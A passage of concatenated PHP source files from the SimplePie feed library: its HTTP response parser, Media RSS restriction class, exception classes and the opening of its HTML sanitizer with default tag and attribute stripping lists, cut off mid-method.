<!ENTITY rfloor "&#x230B;"> <!ENTITY lang "&#x2329;"> <!ENTITY rang "&#x232A;"> <!ENTITY loz "&#x25CA;"> <!ENTITY spades "&#x2660;"> <!ENTITY clubs "&#x2663;"> <!ENTITY hearts "&#x2665;"> <!ENTITY diams "&#x2666;"> ]>';
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * HTTP Response Parser
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class SimplePie_HTTP_Parser
{
	/**
	 * HTTP Version
	 *
	 * @var float
	 */
	public $http_version = 0.0;

	/**
	 * Status code
	 *
	 * @var int
	 */
	public $status_code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	public $reason = '';

	/**
	 * Key/value pairs of the headers
	 *
	 * @var array
	 */
	public $headers = array();

	/**
	 * Body of the response
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Current state of the state machine
	 *
	 * @var string
	 */
	protected $state = 'http_version';

	/**
	 * Input data
	 *
	 * @var string
	 */
	protected $data = '';

	/**
	 * Input data length (to avoid calling strlen() everytime this is needed)
	 *
	 * @var int
	 */
	protected $data_length = 0;

	/**
	 * Current position of the pointer
	 *
	 * @var int
	 */
	protected $position = 0;

	/**
	 * Name of the hedaer currently being parsed
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Value of the hedaer currently being parsed
	 *
	 * @var string
	 */
	protected $value = '';

	/**
	 * Create an instance of the class with the input data
	 *
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
		$this->data_length = strlen($this->data);
	}

	/**
	 * Parse the input data
	 *
	 * @return bool true on success, false on failure
	 */
	public function parse()
	{
		while ($this->state && $this->state !== 'emit' && $this->has_data())
		{
			$state = $this->state;
			$this->$state();
		}
		$this->data = '';
		if ($this->state === 'emit' || $this->state === 'body')
		{
			return true;
		}

		$this->http_version = '';
		$this->status_code = '';
		$this->reason = '';
		$this->headers = array();
		$this->body = '';
		return false;
	}

	/**
	 * Check whether there is data beyond the pointer
	 *
	 * @return bool true if there is further data, false if not
	 */
	protected function has_data()
	{
		return (bool) ($this->position < $this->data_length);
	}

	/**
	 * See if the next character is LWS
	 *
	 * @return bool true if the next character is LWS, false if not
	 */
	protected function is_linear_whitespace()
	{
		return (bool) ($this->data[$this->position] === "\x09"
			|| $this->data[$this->position] === "\x20"
			|| ($this->data[$this->position] === "\x0A"
				&& isset($this->data[$this->position + 1])
				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
	}

	/**
	 * Parse the HTTP version
	 */
	protected function http_version()
	{
		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
		{
			$len = strspn($this->data, '0123456789.', 5);
			$this->http_version = substr($this->data, 5, $len);
			$this->position += 5 + $len;
			if (substr_count($this->http_version, '.') <= 1)
			{
				$this->http_version = (float) $this->http_version;
				$this->position += strspn($this->data, "\x09\x20", $this->position);
				$this->state = 'status';
			}
			else
			{
				$this->state = false;
			}
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse the status code
	 */
	protected function status()
	{
		if ($len = strspn($this->data, '0123456789', $this->position))
		{
			$this->status_code = (int) substr($this->data, $this->position, $len);
			$this->position += $len;
			$this->state = 'reason';
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse the reason phrase
	 */
	protected function reason()
	{
		$len = strcspn($this->data, "\x0A", $this->position);
		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
		$this->position += $len + 1;
		$this->state = 'new_line';
	}

	/**
	 * Deal with a new line, shifting data around as needed
	 */
	protected function new_line()
	{
		$this->value = trim($this->value, "\x0D\x20");
		if ($this->name !== '' && $this->value !== '')
		{
			$this->name = strtolower($this->name);
			// We should only use the last Content-Type header. c.f. issue #1
			if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
			{
				$this->headers[$this->name] .= ', ' . $this->value;
			}
			else
			{
				$this->headers[$this->name] = $this->value;
			}
		}
		$this->name = '';
		$this->value = '';
		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
		{
			$this->position += 2;
			$this->state = 'body';
		}
		elseif ($this->data[$this->position] === "\x0A")
		{
			$this->position++;
			$this->state = 'body';
		}
		else
		{
			$this->state = 'name';
		}
	}

	/**
	 * Parse a header name
	 */
	protected function name()
	{
		$len = strcspn($this->data, "\x0A:", $this->position);
		if (isset($this->data[$this->position + $len]))
		{
			if ($this->data[$this->position + $len] === "\x0A")
			{
				$this->position += $len;
				$this->state = 'new_line';
			}
			else
			{
				$this->name = substr($this->data, $this->position, $len);
				$this->position += $len + 1;
				$this->state = 'value';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse LWS, replacing consecutive LWS characters with a single space
	 */
	protected function linear_whitespace()
	{
		do
		{
			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
			{
				$this->position += 2;
			}
			elseif ($this->data[$this->position] === "\x0A")
			{
				$this->position++;
			}
			$this->position += strspn($this->data, "\x09\x20", $this->position);
		} while ($this->has_data() && $this->is_linear_whitespace());
		$this->value .= "\x20";
	}

	/**
	 * See what state to move to while within non-quoted header values
	 */
	protected function value()
	{
		if ($this->is_linear_whitespace())
		{
			$this->linear_whitespace();
		}
		else
		{
			switch ($this->data[$this->position])
			{
				case '"':
					// Workaround for ETags: we have to include the quotes as
					// part of the tag.
					if (strtolower($this->name) === 'etag')
					{
						$this->value .= '"';
						$this->position++;
						$this->state = 'value_char';
						break;
					}
					$this->position++;
					$this->state = 'quote';
					break;

				case "\x0A":
					$this->position++;
					$this->state = 'new_line';
					break;

				default:
					$this->state = 'value_char';
					break;
			}
		}
	}

	/**
	 * Parse a header value while outside quotes
	 */
	protected function value_char()
	{
		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
		$this->value .= substr($this->data, $this->position, $len);
		$this->position += $len;
		$this->state = 'value';
	}

	/**
	 * See what state to move to while within quoted header values
	 */
	protected function quote()
	{
		if ($this->is_linear_whitespace())
		{
			$this->linear_whitespace();
		}
		else
		{
			switch ($this->data[$this->position])
			{
				case '"':
					$this->position++;
					$this->state = 'value';
					break;

				case "\x0A":
					$this->position++;
					$this->state = 'new_line';
					break;

				case '\\':
					$this->position++;
					$this->state = 'quote_escaped';
					break;

				default:
					$this->state = 'quote_char';
					break;
			}
		}
	}

	/**
	 * Parse a header value while within quotes
	 */
	protected function quote_char()
	{
		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
		$this->value .= substr($this->data, $this->position, $len);
		$this->position += $len;
		$this->state = 'value';
	}

	/**
	 * Parse an escaped character within quotes
	 */
	protected function quote_escaped()
	{
		$this->value .= $this->data[$this->position];
		$this->position++;
		$this->state = 'quote';
	}

	/**
	 * Parse the body
	 */
	protected function body()
	{
		$this->body = substr($this->data, $this->position);
		if (!empty($this->headers['transfer-encoding']))
		{
			unset($this->headers['transfer-encoding']);
			$this->state = 'chunked';
		}
		else
		{
			$this->state = 'emit';
		}
	}

	/**
	 * Parsed a "Transfer-Encoding: chunked" body
	 */
	protected function chunked()
	{
		if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
		{
			$this->state = 'emit';
			return;
		}

		$decoded = '';
		$encoded = $this->body;

		while (true)
		{
			$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
			if (!$is_chunked)
			{
				// Looks like it's not chunked after all
				$this->state = 'emit';
				return;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0)
			{
				// Ignore trailer headers
				$this->state = 'emit';
				$this->body = $decoded;
				return;
			}

			$chunk_length = strlen($matches[0]);
			$decoded .= $part = substr($encoded, $chunk_length, $length);
			$encoded = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded))
			{
				$this->state = 'emit';
				$this->body = $decoded;
				return;
			}
		}
	}

	/**
	 * Prepare headers (take care of proxies headers)
	 *
	 * @param string  $headers Raw headers
	 * @param integer $count   Redirection count. Default to 1.
	 *
	 * @return string
	 */
	static public function prepareHeaders($headers, $count = 1)
	{
		$data = explode("\r\n\r\n", $headers, $count);
		$data = array_pop($data);
		if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
			$exploded = explode("\r\n\r\n", $data, 2);
			$data = end($exploded);
		}
		if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
			$exploded = explode("\r\n\r\n", $data, 2);
			$data = end($exploded);
		}
		return $data;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see SimplePie_Enclosure::get_restriction()} and {@see SimplePie_Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see SimplePie::set_restriction_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Restriction
{
	/**
	 * Relationship ('allow'/'deny')
	 *
	 * @var string
	 * @see get_relationship()
	 */
	var $relationship;

	/**
	 * Type of restriction
	 *
	 * @var string
	 * @see get_type()
	 */
	var $type;

	/**
	 * Restricted values
	 *
	 * @var string
	 * @see get_value()
	 */
	var $value;

	/**
	 * Constructor, used to input the data
	 *
	 * For documentation on all the parameters, see the corresponding
	 * properties and their accessors
	 */
	public function __construct($relationship = null, $type = null, $value = null)
	{
		$this->relationship = $relationship;
		$this->type = $type;
		$this->value = $value;
	}

	/**
	 * String-ified version
	 *
	 * @return string
	 */
	public function __toString()
	{
		// There is no $this->data here
		return md5(serialize($this));
	}

	/**
	 * Get the relationship
	 *
	 * @return string|null Either 'allow' or 'deny'
	 */
	public function get_relationship()
	{
		if ($this->relationship !== null)
		{
			return $this->relationship;
		}

		return null;
	}

	/**
	 * Get the type
	 *
	 * @return string|null
	 */
	public function get_type()
	{
		if ($this->type !== null)
		{
			return $this->type;
		}

		return null;
	}

	/**
	 * Get the list of restricted things
	 *
	 * @return string|null
	 */
	public function get_value()
	{
		if ($this->value !== null)
		{
			return $this->value;
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * General SimplePie exception class
 *
 * @package SimplePie
 */
class SimplePie_Exception extends Exception
{
}<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{

}<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Used for data cleanup and post-processing
 *
 *
 * This class can be overloaded with {@see SimplePie::set_sanitize_class()}
 *
 * @package SimplePie
 * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
 */
class SimplePie_Sanitize
{
	// Private vars
	var $base;

	// Options
	var $remove_div = true;
	var $image_handler = '';
	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
	var $encode_instead_of_strip = false;
	var $strip_attributes = array('bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
	var $add_attributes = array('audio' => array('preload' => 'none'), 'iframe' => array('sandbox' => 'allow-scripts allow-same-origin'), 'video' => array('preload' => 'none'));
	var $strip_comments = false;
	var $output_encoding = 'UTF-8';
	var $enable_cache = true;
	var $cache_location = './cache';
	var $cache_name_function = 'md5';
	var $timeout = 10;
	var $useragent = '';
	var $force_fsockopen = false;
	var $replace_url_attributes = null;
	var $registry;

	/**
	 * List of domains for which to force HTTPS.
	 * @see SimplePie_Sanitize::set_https_domains()
	 * Array is a tree split at DNS levels. Example:
	 * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
	 */
	var $https_domains = array();

	public function __construct()
	{
		// Set defaults
		$this->set_url_replacements(null);
	}

	public function remove_div($enable = true)
	{
		$this->remove_div = (bool) $enable;
	}

	public function set_image_handler($page = false)
	{
		if ($page)
		{
			$this->image_handler = (string) $page;
		}
		else
		{
			$this->image_handler = false;
		}
	}

	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache')
	{
		if (isset($enable_cache))
		{
			$this->enable_cache = (bool) $enable_cache;
		}

		if ($cache_location)
		{
			$this->cache_location = (string) $cache_location;
		}

		if ($cache_name_function)
		{
			$this->cache_name_function = (string) $cache_name_function;
		}
	}

	public function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false)
	{
		if ($timeout)
		{
			$this->timeout = (string) $timeout;
		}

		if ($useragent)
		{
			$this->useragent = (string) $useragent;
		}

		if ($force_fsockopen)
		{
			$this->force_fsockopen = (string) $force_fsockopen;
		}
	}

	public function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'))
	{
		if ($tags)
		{
			if (is_array($tags))
			{
				$this->strip_htmltags = $tags;
			}
			else
			{
				$this->strip_htmltags = explode(',', $tags);
			}
		}
		else
		{
			$this->strip_htmltags = false;
		}
	}

	public function encode_instead_of_strip($encode = false)
	{
		$this->encode_instead_of_strip = (bool) $encode;
	}

	public function strip_attributes($attribs = array('bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'))
	{
		if ($attribs)
		{
			if (is_array($attribs))
			{
				$this->strip_attributes = $attribs;
			}
			else
			{
				$this->strip_attributes = explode(',', $attribs);
			}
		}
		else
		{
			$this->strip_attributes = false;
		}
	}

	public function add_attributes($attribs = array('audio' => array('preload' => 'none'), 'iframe' => array('sandbox' => 'allow-scripts allow-same-origin'), 'video' => array('preload' => 'none')))
	{
		if ($attribs)
		{
			if (is_array($attribs))
			{
				$this->add_attributes = $attribs;
			}
			else
			{
				$this->add_attributes = explode(',', $attribs);
			}
		}
		else
		{
			$this->add_attributes = false;
		}
	}

	public function strip_comments($strip = false)
	{
		$this->strip_comments = (bool) $strip;
	}

	public function set_output_encoding($encoding = 'UTF-8')
	{
		$this->output_encoding = (string) $encoding;
	}

	/**
	 * Set element/attribute key/value pairs of HTML attributes
	 * containing URLs that need to be resolved relative to the feed
	 *
	 * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
	 * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
	 * |q|@cite
	 *
	 * @since 1.0
	 * @param array|null $element_attribute Element/attribute key/value pairs, null for default
	 */
	public function set_url_replacements($element_attribute = null)
	{
		if ($element_attribute === null)
		{
			$element_attribute = array(
				'a' => 'href',
				'area' => 'href',
				'blockquote' => 'cite',
				'del' => 'cite',
				'form' => 'action',
				'img' => array(
					'longdesc',
					'src'
				),
				'input' => 'src',
				'ins' => 'cite',
				'q' => 'cite'
			);
		}
		$this->replace_url_attributes = (array) $element_attribute;
	}

	/**
	 * Set the list of domains for which to force HTTPS.
	 * @see SimplePie_Misc::https_url()
	 * Example array('biz', 'example.com', 'example.org', 'www.example.net');
	 */
	public function set_https_domains($domains)
	{
		$this->https_domains = array();
		foreach ($domains as $domain)
		{
			$domain = trim($domain, ". \t\n\r\0\x0B");
			$segments = array_reverse(explode('.', $domain));
			$node =& $this->https_domains;
			foreach ($segments as $segment)
			{//Build a tree
				if ($node === true)
				{
					break;
				}
				if (!isset($node[$segment]))
				{
					$node[$segment] = array();
				}
				$node =& $node[$segment];
			}
			$node = true;
		}
	}

	/**
	 * Check if the domain is in the list of forced HTTPS.
	 */
	protected function is_https_domain($domain)
	{
		$domain = trim($domain, '. ');
		$segments = array_reverse(explode('.', $domain));
		$node =& $this->https_domains;
		foreach ($segments as $segment)
		{//Explore the tree
			if (isset($node[$segment]))
			{
				$node =& $node[$segment];
			}
			else
			{
				break;
			}
		}
		return $node === true;
	}

	/**
	 * Force HTTPS for selected Web sites.
	 */
	public function https_url($url)
	{
		return (strtolower(substr($url, 0, 7)) === 'http://') &&
			$this->is_https_domain(parse_url($url, PHP_URL_HOST)) ?
			substr_replace($url, 's', 4, 0) :	//Add the 's' to HTTPS
			$url;
	}

	public function sanitize($data, $type, $base = '')
	{
		$data = trim($data);
		if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI)
		{
			if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML)
			{
				if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data))
				{
					$type |= SIMPLEPIE_CONSTRUCT_HTML;
				}
				else
				{
					$type |= SIMPLEPIE_CONSTRUCT_TEXT;
				}
			}

			if ($type & SIMPLEPIE_CONSTRUCT_BASE64)
			{
				$data = base64_decode($data);
			}

			if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML))
			{

				if (!class_exists('DOMDocument'))
				{
					throw new SimplePie_Exception('DOMDocument not found, unable to use sanitizer');
				}
				$document = new DOMDocument();
				$document->encoding = 'UTF-8';

				$data = $this->preprocess($data, $type);

				set_error_handler(array('SimplePie_Misc', 'silence_errors'));
				$document->loadHTML($data);
				restore_error_handler();

				$xpath = new DOMXPath($document);

				// Strip comments
				if ($this->strip_comments)
				{
					$comments = $xpath->query('//comment()');

					foreach ($comments as $comment)
					{
						$comment->parentNode->removeChild($comment);
					}
				}

				// Strip out HTML tags and attributes that might cause various security problems.
				// Based on recommendations by Mark Pilgrim at:
				// http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
				if ($this->strip_htmltags)
				{
					foreach ($this->strip_htmltags as $tag)
					{
						$this->strip_tag($tag, $document, $xpath, $type);
					}
				}

				if ($this->strip_attributes)
				{
					foreach ($this->strip_attributes as $attrib)
					{
						$this->strip_attr($attrib, $xpath);
					}
				}

				if ($this->add_attributes)
				{
					foreach ($this->add_attributes as $tag => $valuePairs)
					{
						$this->add_attr($tag, $valuePairs, $document);
					}
				}

				// Replace relative URLs
				$this->base = $base;
				foreach ($this->replace_url_attributes as $element => $attributes)
				{
					$this->replace_urls($document, $element, $attributes);
				}

				// If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
				if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache)
				{
					$images = $document->getElementsByTagName('img');
					foreach ($images as $img)
					{
						if ($img->hasAttribute('src'))
						{
							$image_url = call_user_func($this->cache_name_function, $img->getAttribute('src'));
							$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $image_url, 'spi'));

							if ($cache->load())
							{
								$img->setAttribute('src', $this->image_handler . $image_url);
							}
							else
							{
								$file = $this->registry->create('File', array($img->getAttribute('src'), $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen));
								$headers = $file->headers;

								if ($file->success && ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)))
